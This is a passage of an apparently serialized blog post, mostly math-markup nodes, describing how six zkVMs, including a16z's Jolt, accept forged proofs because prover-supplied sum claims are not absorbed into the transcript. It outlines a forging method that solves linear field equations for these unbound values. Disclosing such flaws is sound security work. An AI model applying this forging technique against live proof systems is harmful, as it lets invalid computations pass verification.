"children":49193},{"className":49192,"style":321},[320],[],{"type":26,"tag":217,"props":49195,"children":49197},{"className":49196},[2187,2188,2189,2190],[49198],{"type":26,"tag":217,"props":49199,"children":49201},{"className":49200},[247,2190],[49202,49207,49212],{"type":26,"tag":217,"props":49203,"children":49205},{"className":49204,"style":21089},[247,2152,2190],[49206],{"type":32,"value":21092},{"type":26,"tag":217,"props":49208,"children":49210},{"className":49209},[341,2190],[49211],{"type":32,"value":3379},{"type":26,"tag":217,"props":49213,"children":49215},{"className":49214},[247,2190],[49216,49226],{"type":26,"tag":217,"props":49217,"children":49219},{"className":49218},[247,32,2190],[49220],{"type":26,"tag":217,"props":49221,"children":49223},{"className":49222},[247,2190],[49224],{"type":32,"value":49225},"emit",{"type":26,"tag":217,"props":49227,"children":49229},{"className":49228},[2160],[49230],{"type":26,"tag":217,"props":49231,"children":49233},{"className":49232},[299,300],[49234,49265],{"type":26,"tag":217,"props":49235,"children":49237},{"className":49236},[305],[49238,49260],{"type":26,"tag":217,"props":49239,"children":49242},{"className":49240,"style":49241},[310],"height:0.3281em;",[49243],{"type":26,"tag":217,"props":49244,"children":49246},{"style":49245},"top:-2.357em;margin-right:0.0714em;",[49247,49251],{"type":26,"tag":217,"props":49248,"children":49250},{"className":49249,"style":5107},[320],[],{"type":26,"tag":217,"props":49252,"children":49254},{"className":49253},[2187,5112,5113,2190],[49255],{"type":26,"tag":217,"props":49256,"children":49258},{"className":49257,"style":49138},[247,2152,2190],[49259],{"type":32,"value":49141},{"type":26,"tag":217,"props":49261,"children":49263},{"className":49262},[409],[49264],{"type":32,"value":412},{"type":26,"tag":217,"props":49266,"children":49268},{"className":49267},[305],[49269],{"type":26,"tag":217,"props":49270,"children":49273},{"className":49271,"style":49272},[310],"height:0.2819em;",[49274],{"type":26,"tag":217,"props":49275,"children":49276},{},[],{"type":26,"tag":217,"props":49278,"children":49279},{"style":361},[49280,49284],{"type":26,"tag":217,"props":49281,"children":49283},{"className":49282,"style":321},[320],[],{"type":26,"tag":217,"props":49285,"children":49287},{"className":49286,"style":371},[370],[],{"type":26,"tag":217,"props":49289,"children":49290},{"style":48501},[49291,49295],{"type":26,"tag":217,"props":49292,"children":49294},{"className":49293,"style":321},[320],[],{"type":26,"tag":217,"props":49296,"children":49298},{"className":49297},[2187,2188,2189,2190],[49299],{"type":26,"tag":217,"props":49300,"children":49302},{"className":49301},[247,2190],[49303],{"type":26,"tag":217,"props":49304,"children":49306},{"className":49305},[247,2190],[49307],{"type":32,"value":185},{"type":26,"tag":217,"props":49309,"children":49311},{"className":49310},[409],[49312],{"type":32,"value":412},{"type":26,"tag":217,"props":49314,"children":49316},{"className":49315},[305],[49317],{"type":26,"tag":217,"props":49318,"children":49321},{"className":49319,"style":49320},[310],"height:0.5423em;",[49322],{"type":26,"tag":217,"props":49323,"children":49324},{},[],{"type":26,"tag":217,"props":49326,"children":49328},{"className":49327},[428,289],[],{"type":26,"tag":217,"props":49330,"children":49332},{"className":49331,"style":336},[258],[],{"type":26,"tag":217,"props":49334,"children":49336},{"className":49335},[341],[49337],{"type":32,"value":3379},{"type":26,"tag":217,"props":49339,"children":49341},{"className":49340,"style":336},[258],[],{"type":26,"tag":217,"props":49343,"children":49345},{"className":49344},[236],[49346,49351,49411,49415],{"type":26,"tag":217,"props":49347,"children":49350},{"className":49348,"style":49349},[241],"height:1.296em;vertical-align:-0.4509em;",[],{"type":26,"tag":217,"props":49352,"children":49354},{"className":49353},[1842],[49355,49360],{"type":26,"tag":217,"props":49356,"children":49358},{"className":49357,"style":22482},[1842,4049,22481],[49359],{"type":32,"value":4053},{"type":26,"tag":217,"props":49361,"children":49363},{"className":49362},[2160],[49364],{"type":26,"tag":217,"props":49365,"children":49367},{"className":49366},[299,300],[49368,49399],{"type":26,"tag":217,"props":49369,"children":49371},{"className":49370},[305],[49372,49394],{"type":26,"tag":217,"props":49373,"children":49375},{"className":49374,"style":48586},[310],[49376],{"type":26,"tag":217,"props":49377,"children":49378},{"style":43746},[49379,49383],{"type":26,"tag":217,"props":49380,"children":49382},{"className":49381,"style":2182},[320],[],{"type":26,"tag":217,"props":49384,"children":49386},{"className":49385},[2187,2188,2189,2190],[49387],{"type":26,"tag":217,"props":49388,"children":49391},{"className":49389,"style":49390},[247,2152,2190],"margin-right:0.03148em;",[49392],{"type":32,"value":49393},"k",{"type":26,"tag":217,"props":49395,"children":49397},{"className":49396},[409],[49398],{"type":32,"value":412},{"type":26,"tag":217,"props":49400,"children":49402},{"className":49401},[305],[49403],{"type":26,"tag":217,"props":49404,"children":49407},{"className":49405,"style":49406},[310],"height:0.2997em;",[49408],{"type":26,"tag":217,"props":49409,"children":49410},{},[],{"type":26,"tag":217,"props":49412,"children":49414},{"className":49413,"style":1872},[258],[],{"type":26,"tag":217,"props":49416,"children":49418},{"className":49417},[247],[49419,49423,49576],{"type":26,"tag":217,"props":49420,"children":49422},{"className":49421},[288,289],[],{"type":26,"tag":217,"props":49424,"children":49426},{"className":49425},[294],[49427],{"type":26,"tag":217,"props":49428,"children":49430},{"className":49429},[299,300],[49431,49564],{"type":26,"tag":217,"props":49432,"children":49434},{"className":49433},[305],[49435,49559],{"type":26,"tag":217,"props":49436,"children":49438},{"className":49437,"style":48456},[310],[49439,49528,49539],{"type":26,"tag":217,"props":49440,"children":49441},{"style":5060},[49442,49446],{"type":26,"tag":217,"props":49443,"children":49445},{"className":49444,"style":321},[320],[],{"type":26,"tag":217,"props":49447,"children":49449},{"className":49448},[2187,2188,2189,2190],[49450],{"type":26,"tag":217,"props":49451,"children":49453},{"className":49452},[247,2190],[49454,49459,49464],{"type":26,"tag":217,"props":49455,"children":49457},{"className":49456,"style":21089},[247,2152,2190],[49458],{"type":32,"value":21092},{"type":26,"tag":217,"props":49460,"children":49462},{"className":49461},[341,2190],[49463],{"type":32,"value":3379},{"type":26,"tag":217,"props":49465,"children":49467},{"className":49466},[247,2190],[49468,49478],{"type":26,"tag":217,"props":49469,"children":49471},{"className":49470},[247,32,2190],[49472],{"type":26,"tag":217,"props":49473,"children":49475},{"className":49474},[247,2190],[49476],{"type":32,"value":49477},"consume",{"type":26,"tag":217,"props":49479,"children":49481},{"className":49480},[2160],[49482],{"type":26,"tag":217,"props":49483,"children":49485},{"className":49484},[299,300],[49486,49516],{"type":26,"tag":217,"props":49487,"children":49489},{"className":49488},[305],[49490,49511],{"type":26,"tag":217,"props":49491,"children":49493},{"className":49492,"style":5098},[310],[49494],{"type":26,"tag":217,"props":49495,"children":49497},{"style":49496},"top:-2.3488em;margin-right:0.0714em;",[49498,49502],{"type":26,"tag":217,"props":49499,"children":49501},{"className":49500,"style":5107},[320],[],{"type":26,"tag":217,"props":49503,"children":49505},{"className":49504},[2187,5112,5113,2190],[49506],{"type":26,"tag":217,"props":49507,"children":49509},{"className":49508,"style":49390},[247,2152,2190],[49510],{"type":32,"value":49393},{"type":26,"tag":217,"props":49512,"children":49514},{"className":49513},[409],[49515],{"type":32,"value":412},{"type":26,"tag":217,"props":49517,"children":49519},{"className":49518},[305],[49520],{"type":26,"tag":217,"props":49521,"children":49524},{"className":49522,"style":49523},[310],"height:0.1512em;",[49525],{"type":26,"tag":217,"props":49526,"children":49527},{},[],{"type":26,"tag":217,"props":49529,"children":49530},{"style":361},[49531,49535],{"type":26,"tag":217,"props":49532,"children":49534},{"className":49533,"style":321},[320],[],{"type":26,"tag":217,"props":49536,"children":49538},{"className":49537,"style":371},[370],[],{"type":26,"tag":217,"props":49540,"children":49541},{"style":48501},[49542,49546],{"type":26,"tag":217,"props":49543,"children":49545},{"className":49544,"style":321},[320],[],{"type":26,"tag":217,"props":49547,"children":49549},{"className":49548},[2187,2188,2189,2190],[49550],{"type":26,"tag":217,"props":49551,"children":49553},{"className":49552},[247,2190],[49554],{"type":26,"tag":217,"props":49555,"children":49557},{"className":49556},[247,2190],[49558],{"type":32,"value":185},{"type":26,"tag":217,"props":49560,"children":49562},{"className":49561},[409],[49563],{"type":32,"value":412},{"type":26,"tag":217,"props":49565,"children":49567},{"className":49566},[305],[49568],{"type":26,"tag":217,"props":49569,"children":49572},{"className":49570,"style":49571},[310],"height:0.4509em;",[49573],{"type":26,"tag":217,"props":49574,"children":49575},{},[],{"type":26,"tag":217,"props":49577,"children":49579},{"className":49578},[428,289],[],{"type":26,"tag":39,"props":49581,"children":49582},{},[49583,49585,49768],{"type":32,"value":49584},"The global check: ",{"type":26,"tag":83,"props":49586,"children":49588},{"className":49587},[213,4703],[49589],{"type":26,"tag":217,"props":49590,"children":49592},{"className":49591},[225],[49593],{"type":26,"tag":217,"props":49594,"children":49596},{"className":49595,"ariaHidden":231},[230],[49597,49755],{"type":26,"tag":217,"props":49598,"children":49600},{"className":49599},[236],[49601,49606,49663,49667,49676,49681,49742,49746,49751],{"type":26,"tag":217,"props":49602,"children":49605},{"className":49603,"style":49604},[241],"height:1.06em;vertical-align:-0.31em;",[],{"type":26,"tag":217,"props":49607,"children":49609},{"className":49608},[1842],[49610,49615],{"type":26,"tag":217,"props":49611,"children":49613},{"className":49612,"style":22482},[1842,4049,22481],[49614],{"type":32,"value":4053},{"type":26,"tag":217,"props":49616,"children":49618},{"className":49617},[2160],[49619],{"type":26,"tag":217,"props":49620,"children":49622},{"className":49621},[299,300],[49623,49652],{"type":26,"tag":217,"props":49624,"children":49626},{"className":49625},[305],[49627,49647],{"type":26,"tag":217,"props":49628,"children":49630},{"className":49629,"style":49122},[310],[49631],{"type":26,"tag":217,"props":49632,"children":49633},{"style":43746},[49634,49638],{"type":26,"tag":217,"props":49635,"children":49637},{"className":49636,"style":2182},[320],[],{"type":26,"tag":217,"props":49639,"children":49641},{"className":49640},[2187,2188,2189,2190],[49642],{"type":26,"tag":217,"props":49643,"children":49645},{"className":49644},[247,2152,2190],[49646],{"type":32,"value":2290},{"type":26,"tag":217,"props":49648,"children":49650},{"className":49649},[409],[49651],{"type":32,"value":412},{"type":26,"tag":217,"props":49653,"children":49655},{"className":49654},[305],[49656],{"type":26,"tag":217,"props":49657,"children":49659},{"className":49658,"style":49406},[310],[49660],{"type":26,"tag":217,"props":49661,"children":49662},{},[],{"type":26,"tag":217,"props":49664,"children":49666},{"className":49665,"style":1872},[258],[],{"type":26,"tag":217,"props":49668,"children":49670},{"className":49669},[247,32],[49671],{"type":26,"tag":217,"props":49672,"children":49674},{"className":49673},[247],[49675],{"type":32,"value":49006},{"type":26,"tag":217,"props":49677,"children":49679},{"className":49678,"style":2753},[247],[49680],{"type":32,"value":49012},{"type":26,"tag":217,"props":49682,"children":49684},{"className":49683},[247],[49685,49694],{"type":26,"tag":217,"props":49686,"children":49688},{"className":49687},[247,32],[49689],{"type":26,"tag":217,"props":49690,"children":49692},{"className":49691},[247],[49693],{"type":32,"value":49026},{"type":26,"tag":217,"props":49695,"children":49697},{"className":49696},[2160],[49698],{"type":26,"tag":217,"props":49699,"children":49701},{"className":49700},[299,300],[49702,49731],{"type":26,"tag":217,"props":49703,"children":49705},{"className":49704},[305],[49706,49726],{"type":26,"tag":217,"props":49707,"children":49709},{"className":49708,"style":2271},[310],[49710],{"type":26,"tag":217,"props":49711,"children":49712},{"style":49045},[49713,49717],{"type":26,"tag":217,"props":49714,"children":49716},{"className":49715,"style":2182},[320],[],{"type":26,"tag":217,"props":49718,"children":49720},{"className":49719},[2187,2188,2189,2190],[49721],{"type":26,"tag":217,"props":49722,"children":49724},{"className":49723},[247,2152,2190],[49725],{"type":32,"value":2290},{"type":26,"tag":217,"props":49727,"children":49729},{"className":49728},[409],[49730],{"type":32,"value":412},{"type":26,"tag":217,"props":49732,"children":49734},{"className":49733},[305],[49735],{"type":26,"tag":217,"props":49736,"children":49738},{"className":49737,"style":2210},[310],[49739],{"type":26,"tag":217,"props":49740,"children":49741},{},[],{"type":26,"tag":217,"props":49743,"children":49745},{"className":49744,"style":259},[258],[],{"type":26,"tag":217,"props":49747,"children":49749},{"className":49748},[264],[49750],{"type":32,"value":267},{"type":26,"tag":217,"props":49752,"children":49754},{"className":49753,"style":259},[258],[],{"type":26,"tag":217,"props":49756,"children":49758},{"className":49757},[236],[49759,49763],{"type":26,"tag":217,"props":49760,"children":49762},{"className":49761,"style":5294},[241],[],{"type":26,"tag":217,"props":49764,"children":49766},{"className":49765},[247],[49767],{"type":32,"value":1883},{"type":32,"value":180},{"type":26,"tag":39,"props":49770,"children":49771},{},[49772,49777,49779,49785],{"type":26,"tag":9348,"props":49773,"children":49774},{},[49775],{"type":32,"value":49776},"Why this is vulnerable:",{"type":32,"value":49778}," The ",{"type":26,"tag":83,"props":49780,"children":49782},{"className":49781},[],[49783],{"type":32,"value":49784},"claimed_sum",{"type":32,"value":49786}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":26,"tag":11933,"props":49788,"children":49789},{},[],{"type":26,"tag":27,"props":49791,"children":49793},{"id":49792},"the-universal-attack-pattern",[49794],{"type":32,"value":49795},"The Universal Attack Pattern",{"type":26,"tag":39,"props":49797,"children":49798},{},[49799],{"type":32,"value":49800},"Now we can describe the attack pattern that works on all six systems:",{"type":26,"tag":39,"props":49802,"children":49803},{},[49804],{"type":26,"tag":6468,"props":49805,"children":49808},{"alt":49806,"src":49807},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":26,"tag":39,"props":49810,"children":49811},{},[49812,49814,49839],{"type":32,"value":49813},"When a value ",{"type":26,"tag":83,"props":49815,"children":49817},{"className":49816},[213,4703],[49818],{"type":26,"tag":217,"props":49819,"children":49821},{"className":49820},[225],[49822],{"type":26,"tag":217,"props":49823,"children":49825},{"className":49824,"ariaHidden":231},[230],[49826],{"type":26,"tag":217,"props":49827,"children":49829},{"className":49828},[236],[49830,49834],{"type":26,"tag":217,"props":49831,"children":49833},{"className":49832,"style":4800},[241],[],{"type":26,"tag":217,"props":49835,"children":49837},{"className":49836,"style":43128},[247,2152],[49838],{"type":32,"value":43454},{"type":32,"value":49840}," isn't transcript-bound:",{"type":26,"tag":6712,"props":49842,"children":49843},{},[49844,49875,49951,50095],{"type":26,"tag":2044,"props":49845,"children":49846},{},[49847,49849,49874],{"type":32,"value":49848},"Challenges are fixed (independent of ",{"type":26,"tag":83,"props":49850,"children":49852},{"className":49851},[213,4703],[49853],{"type":26,"tag":217,"props":49854,"children":49856},{"className":49855},[225],[49857],{"type":26,"tag":217,"props":49858,"children":49860},{"className":49859,"ariaHidden":231},[230],[49861],{"type":26,"tag":217,"props":49862,"children":49864},{"className":49863},[236],[49865,49869],{"type":26,"tag":217,"props":49866,"children":49868},{"className":49867,"style":4800},[241],[],{"type":26,"tag":217,"props":49870,"children":49872},{"className":49871,"style":43128},[247,2152],[49873],{"type":32,"value":43454},{"type":32,"value":1889},{"type":26,"tag":2044,"props":49876,"children":49877},{},[49878,49880],{"type":32,"value":49879},"The verification equation has form: ",{"type":26,"tag":83,"props":49881,"children":49883},{"className":49882},[213,4703],[49884],{"type":26,"tag":217,"props":49885,"children":49887},{"className":49886},[225],[49888],{"type":26,"tag":217,"props":49889,"children":49891},{"className":49890,"ariaHidden":231},[230],[49892,49933],{"type":26,"tag":217,"props":49893,"children":49895},{"className":49894},[236],[49896,49900,49905,49910,49915,49920,49924,49929],{"type":26,"tag":217,"props":49897,"children":49899},{"className":49898,"style":5514},[241],[],{"type":26,"tag":217,"props":49901,"children":49903},{"className":49902,"style":19823},[247,2152],[49904],{"type":32,"value":19826},{"type":26,"tag":217,"props":49906,"children":49908},{"className":49907},[288],[49909],{"type":32,"value":1851},{"type":26,"tag":217,"props":49911,"children":49913},{"className":49912,"style":43128},[247,2152],[49914],{"type":32,"value":43454},{"type":26,"tag":217,"props":49916,"children":49918},{"className":49917},[428],[49919],{"type":32,"value":1889},{"type":26,"tag":217,"props":49921,"children":49923},{"className":49922,"style":259},[258],[],{"type":26,"tag":217,"props":49925,"children":49927},{"className":49926},[264],[49928],{"type":32,"value":267},{"type":26,"tag":217,"props":49930,"children":49932},{"className":49931,"style":259},[258],[],{"type":26,"tag":217,"props":49934,"children":49936},{"className":49935},[236],[49937,49942],{"type":26,"tag":217,"props":49938,"children":49941},{"className":49939,"style":49940},[241],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":49943,"children":49945},{"className":49944},[247,32],[49946],{"type":26,"tag":217,"props":49947,"children":49949},{"className":49948},[247],[49950],{"type":32,"value":33195},{"type":26,"tag":2044,"props":49952,"children":49953},{},[49954,49955,49980,49982],{"type":32,"value":18009},{"type":26,"tag":83,"props":49956,"children":49958},{"className":49957},[213,4703],[49959],{"type":26,"tag":217,"props":49960,"children":49962},{"className":49961},[225],[49963],{"type":26,"tag":217,"props":49964,"children":49966},{"className":49965,"ariaHidden":231},[230],[49967],{"type":26,"tag":217,"props":49968,"children":49970},{"className":49969},[236],[49971,49975],{"type":26,"tag":217,"props":49972,"children":49974},{"className":49973,"style":1520},[241],[],{"type":26,"tag":217,"props":49976,"children":49978},{"className":49977,"style":19823},[247,2152],[49979],{"type":32,"value":19826},{"type":32,"value":49981}," is linear: ",{"type":26,"tag":83,"props":49983,"children":49985},{"className":49984},[213,4703],[49986],{"type":26,"tag":217,"props":49987,"children":49989},{"className":49988},[225],[49990],{"type":26,"tag":217,"props":49991,"children":49993},{"className":49992,"ariaHidden":231},[230],[49994,50023,50050,50078],{"type":26,"tag":217,"props":49995,"children":49997},{"className":49996},[236],[49998,50003,50010,50014,50019],{"type":26,"tag":217,"props":49999,"children":50002},{"className":50000,"style":50001},[241],"height:0.4445em;",[],{"type":26,"tag":217,"props":50004,"children":50007},{"className":50005,"style":50006},[247,2152],"margin-right:0.0037em;",[50008],{"type":32,"value":50009},"α",{"type":26,"tag":217,"props":50011,"children":50013},{"className":50012,"style":336},[258],[],{"type":26,"tag":217,"props":50015,"children":50017},{"className":50016},[341],[50018],{"type":32,"value":344},{"type":26,"tag":217,"props":50020,"children":50022},{"className":50021,"style":336},[258],[],{"type":26,"tag":217,"props":50024,"children":50026},{"className":50025},[236],[50027,50032,50037,50041,50046],{"type":26,"tag":217,"props":50028,"children":50031},{"className":50029,"style":50030},[241],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":50033,"children":50035},{"className":50034,"style":43128},[247,2152],[50036],{"type":32,"value":43454},{"type":26,"tag":217,"props":50038,"children":50040},{"className":50039,"style":336},[258],[],{"type":26,"tag":217,"props":50042,"children":50044},{"className":50043},[341],[50045],{"type":32,"value":3540},{"type":26,"tag":217,"props":50047,"children":50049},{"className":50048,"style":336},[258],[],{"type":26,"tag":217,"props":50051,"children":50053},{"className":50052},[236],[50054,50058,50065,50069,50074],{"type":26,"tag":217,"props":50055,"children":50057},{"className":50056,"style":1520},[241],[],{"type":26,"tag":217,"props":50059,"children":50062},{"className":50060,"style":50061},[247,2152],"margin-right:0.05278em;",[50063],{"type":32,"value":50064},"β",{"type":26,"tag":217,"props":50066,"children":50068},{"className":50067,"style":259},[258],[],{"type":26,"tag":217,"props":50070,"children":50072},{"className":50071},[264],[50073],{"type":32,"value":267},{"type":26,"tag":217,"props":50075,"children":50077},{"className":50076,"style":259},[258],[],{"type":26,"tag":217,"props":50079,"children":50081},{"className":50080},[236],[50082,50086],{"type":26,"tag":217,"props":50083,"children":50085},{"className":50084,"style":49940},[241],[],{"type":26,"tag":217,"props":50087,"children":50089},{"className":50088},[247,32],[50090],{"type":26,"tag":217,"props":50091,"children":50093},{"className":50092},[247],[50094],{"type":32,"value":33195},{"type":26,"tag":2044,"props":50096,"children":50097},{},[50098,50100],{"type":32,"value":50099},"Solve: ",{"type":26,"tag":83,"props":50101,"children":50103},{"className":50102},[213,4703],[50104],{"type":26,"tag":217,"props":50105,"children":50107},{"className":50106},[225],[50108],{"type":26,"tag":217,"props":50109,"children":50111},{"className":50110,"ariaHidden":231},[230],[50112,50138,50173],{"type":26,"tag":217,"props":50113,"children":50115},{"className":50114},[236],[50116,50120,50125,50129,50134],{"type":26,"tag":217,"props":50117,"children":50119},{"className":50118,"style":4800},[241],[],{"type":26,"tag":217,"props":50121,"children":50123},{"className":50122,"style":43128},[247,2152],[50124],{"type":32,"value":43454},{"type":26,"tag":217,"props":50126,"children":50128},{"className":50127,"style":259},[258],[],{"type":26,"tag":217,"props":50130,"children":50132},{"className":50131},[264],[50133],{"type":32,"value":267},{"type":26,"tag":217,"props":50135,"children":50137},{"className":50136,"style":259},[258],[],{"type":26,"tag":217,"props":50139,"children":50141},{"className":50140},[236],[50142,50146,50151,50160,50164,50169],{"type":26,"tag":217,"props":50143,"children":50145},{"className":50144,"style":5514},[241],[],{"type":26,"tag":217,"props":50147,"children":50149},{"className":50148},[288],[50150],{"type":32,"value":1851},{"type":26,"tag":217,"props":50152,"children":50154},{"className":50153},[247,32],[50155],{"type":26,"tag":217,"props":50156,"children":50158},{"className":50157},[247],[50159],{"type":32,"value":33195},{"type":26,"tag":217,"props":50161,"children":50163},{"className":50162,"style":336},[258],[],{"type":26,"tag":217,"props":50165,"children":50167},{"className":50166},[341],[50168],{"type":32,"value":3379},{"type":26,"tag":217,"props":50170,"children":50172},{"className":50171,"style":336},[258],[],{"type":26,"tag":217,"props":50174,"children":50176},{"className":50175},[236],[50177,50181,50186,50191,50196],{"type":26,"tag":217,"props":50178,"children":50180},{"className":50179,"style":5514},[241],[],{"type":26,"tag":217,"props":50182,"children":50184},{"className":50183,"style":50061},[247,2152],[50185],{"type":32,"value":50064},{"type":26,"tag":217,"props":50187,"children":50189},{"className":50188},[428],[50190],{"type":32,"value":1889},{"type":26,"tag":217,"props":50192,"children":50194},{"className":50193},[247],[50195],{"type":32,"value":5756},{"type":26,"tag":217,"props":50197,"children":50199},{"className":50198,"style":50006},[247,2152],[50200],{"type":32,"value":50009},{"type":26,"tag":39,"props":50202,"children":50203},{},[50204],{"type":32,"value":50205},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":26,"tag":39,"props":50207,"children":50208},{},[50209,50211,50287],{"type":32,"value":50210},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":26,"tag":83,"props":50212,"children":50214},{"className":50213},[213,4703],[50215],{"type":26,"tag":217,"props":50216,"children":50218},{"className":50217},[225],[50219],{"type":26,"tag":217,"props":50220,"children":50222},{"className":50221,"ariaHidden":231},[230],[50223],{"type":26,"tag":217,"props":50224,"children":50226},{"className":50225},[236],[50227,50231,50236,50241,50282],{"type":26,"tag":217,"props":50228,"children":50230},{"className":50229,"style":22646},[241],[],{"type":26,"tag":217,"props":50232,"children":50234},{"className":50233,"style":2753},[247,2152],[50235],{"type":32,"value":20046},{"type":26,"tag":217,"props":50237,"children":50239},{"className":50238},[288],[50240],{"type":32,"value":1851},{"type":26,"tag":217,"props":50242,"children":50244},{"className":50243},[247],[50245,50250],{"type":26,"tag":217,"props":50246,"children":50248},{"className":50247},[247,2152],[50249],{"type":32,"value":2197},{"type":26,"tag":217,"props":50251,"children":50253},{"className":50252},[2160],[50254],{"type":26,"tag":217,"props":50255,"children":50257},{"className":50256},[299],[50258],{"type":26,"tag":217,"props":50259,"children":50261},{"className":50260},[305],[50262],{"type":26,"tag":217,"props":50263,"children":50265},{"className":50264,"style":19070},[310],[50266],{"type":26,"tag":217,"props":50267,"children":50268},{"style":6105},[50269,50273],{"type":26,"tag":217,"props":50270,"children":50272},{"className":50271,"style":2182},[320],[],{"type":26,"tag":217,"props":50274,"children":50276},{"className":50275},[2187,2188,2189,2190],[50277],{"type":26,"tag":217,"props":50278,"children":50280},{"className":50279},[247,2190],[50281],{"type":32,"value":10676},{"type":26,"tag":217,"props":50283,"children":50285},{"className":50284},[428],[50286],{"type":32,"value":1889},{"type":32,"value":50288}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":26,"tag":11933,"props":50290,"children":50291},{},[],{"type":26,"tag":27,"props":50293,"children":50295},{"id":50294},"the-six-broken-systems",[50296],{"type":32,"value":50297},"The Six Broken Systems",{"type":26,"tag":39,"props":50299,"children":50300},{},[50301],{"type":26,"tag":6468,"props":50302,"children":50305},{"alt":50303,"src":50304},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":26,"tag":39,"props":50307,"children":50308},{},[50309],{"type":32,"value":50310},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":26,"tag":11933,"props":50312,"children":50313},{},[],{"type":26,"tag":607,"props":50315,"children":50317},{"id":50316},"jolt-a16z",[50318],{"type":32,"value":50319},"Jolt (a16z)",{"type":26,"tag":39,"props":50321,"children":50322},{},[50323],{"type":32,"value":50324},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":26,"tag":39,"props":50326,"children":50327},{},[50328],{"type":26,"tag":9348,"props":50329,"children":50330},{},[50331],{"type":32,"value":50332},"The proof structure:",{"type":26,"tag":207,"props":50334,"children":50336},{"code":50335},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[50337],{"type":26,"tag":83,"props":50338,"children":50339},{"__ignoreMap":8},[50340],{"type":32,"value":50335},{"type":26,"tag":39,"props":50342,"children":50343},{},[50344],{"type":26,"tag":9348,"props":50345,"children":50346},{},[50347],{"type":32,"value":50348},"The verification flow:",{"type":26,"tag":39,"props":50350,"children":50351},{},[50352],{"type":26,"tag":6468,"props":50353,"children":50356},{"alt":50354,"src":50355},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":26,"tag":39,"props":50358,"children":50359},{},[50360,50365,50367,50373,50375,50381,50383,50388],{"type":26,"tag":9348,"props":50361,"children":50362},{},[50363],{"type":32,"value":50364},"The bug:",{"type":32,"value":50366}," Each sumcheck instance provides an ",{"type":26,"tag":83,"props":50368,"children":50370},{"className":50369},[],[50371],{"type":32,"value":50372},"input_claim",{"type":32,"value":50374},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":26,"tag":83,"props":50376,"children":50378},{"className":50377},[],[50379],{"type":32,"value":50380},"opening_claims",{"type":32,"value":50382}," in the proof, but they were ",{"type":26,"tag":9348,"props":50384,"children":50385},{},[50386],{"type":32,"value":50387},"never absorbed into the transcript",{"type":32,"value":50389}," before the batching coefficients were derived.",{"type":26,"tag":39,"props":50391,"children":50392},{},[50393],{"type":26,"tag":6468,"props":50394,"children":50397},{"alt":50395,"src":50396},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":26,"tag":39,"props":50399,"children":50400},{},[50401],{"type":26,"tag":9348,"props":50402,"children":50403},{},[50404],{"type":32,"value":50405},"How sumcheck uses opening_claims:",{"type":26,"tag":39,"props":50407,"children":50408},{},[50409,50411,50417,50419,50496],{"type":32,"value":50410},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":26,"tag":83,"props":50412,"children":50414},{"className":50413},[],[50415],{"type":32,"value":50416},"BatchedClaim",{"type":32,"value":50418}," by taking a random linear combination of the individual claims ",{"type":26,"tag":83,"props":50420,"children":50422},{"className":50421},[213,4703],[50423],{"type":26,"tag":217,"props":50424,"children":50426},{"className":50425},[225],[50427],{"type":26,"tag":217,"props":50428,"children":50430},{"className":50429,"ariaHidden":231},[230],[50431],{"type":26,"tag":217,"props":50432,"children":50434},{"className":50433},[236],[50435,50439],{"type":26,"tag":217,"props":50436,"children":50438},{"className":50437,"style":4720},[241],[],{"type":26,"tag":217,"props":50440,"children":50442},{"className":50441},[247],[50443,50448],{"type":26,"tag":217,"props":50444,"children":50446},{"className":50445,"style":2680},[247,2152],[50447],{"type":32,"value":2683},{"type":26,"tag":217,"props":50449,"children":50451},{"className":50450},[2160],[50452],{"type":26,"tag":217,"props":50453,"children":50455},{"className":50454},[299,300],[50456,50485],{"type":26,"tag":217,"props":50457,"children":50459},{"className":50458},[305],[50460,50480],{"type":26,"tag":217,"props":50461,"children":50463},{"className":50462,"style":2271},[310],[50464],{"type":26,"tag":217,"props":50465,"children":50466},{"style":2703},[50467,50471],{"type":26,"tag":217,"props":50468,"children":50470},{"className":50469,"style":2182},[320],[],{"type":26,"tag":217,"props":50472,"children":50474},{"className":50473},[2187,2188,2189,2190],[50475],{"type":26,"tag":217,"props":50476,"children":50478},{"className":50477},[247,2152,2190],[50479],{"type":32,"value":2290},{"type":26,"tag":217,"props":50481,"children":50483},{"className":50482},[409],[50484],{"type":32,"value":412},{"type":26,"tag":217,"props":50486,"children":50488},{"className":50487},[305],[50489],{"type":26,"tag":217,"props":50490,"children":50492},{"className":50491,"style":2210},[310],[50493],{"type":26,"tag":217,"props":50494,"children":50495},{},[],{"type":32,"value":1473},{"type":26,"tag":39,"props":50498,"children":50499},{},[50500],{"type":26,"tag":83,"props":50501,"children":50503},{"className":50502},[213,4703],[50504],{"type":26,"tag":217,"props":50505,"children":50507},{"className":50506},[225],[50508],{"type":26,"tag":217,"props":50509,"children":50511},{"className":50510,"ariaHidden":231},[230],[50512,50542,50683],{"type":26,"tag":217,"props":50513,"children":50515},{"className":50514},[236],[50516,50520,50529,50533,50538],{"type":26,"tag":217,"props":50517,"children":50519},{"className":50518,"style":43002},[241],[],{"type":26,"tag":217,"props":50521,"children":50523},{"className":50522},[247,32],[50524],{"type":26,"tag":217,"props":50525,"children":50527},{"className":50526},[247],[50528],{"type":32,"value":50416},{"type":26,"tag":217,"props":50530,"children":50532},{"className":50531,"style":259},[25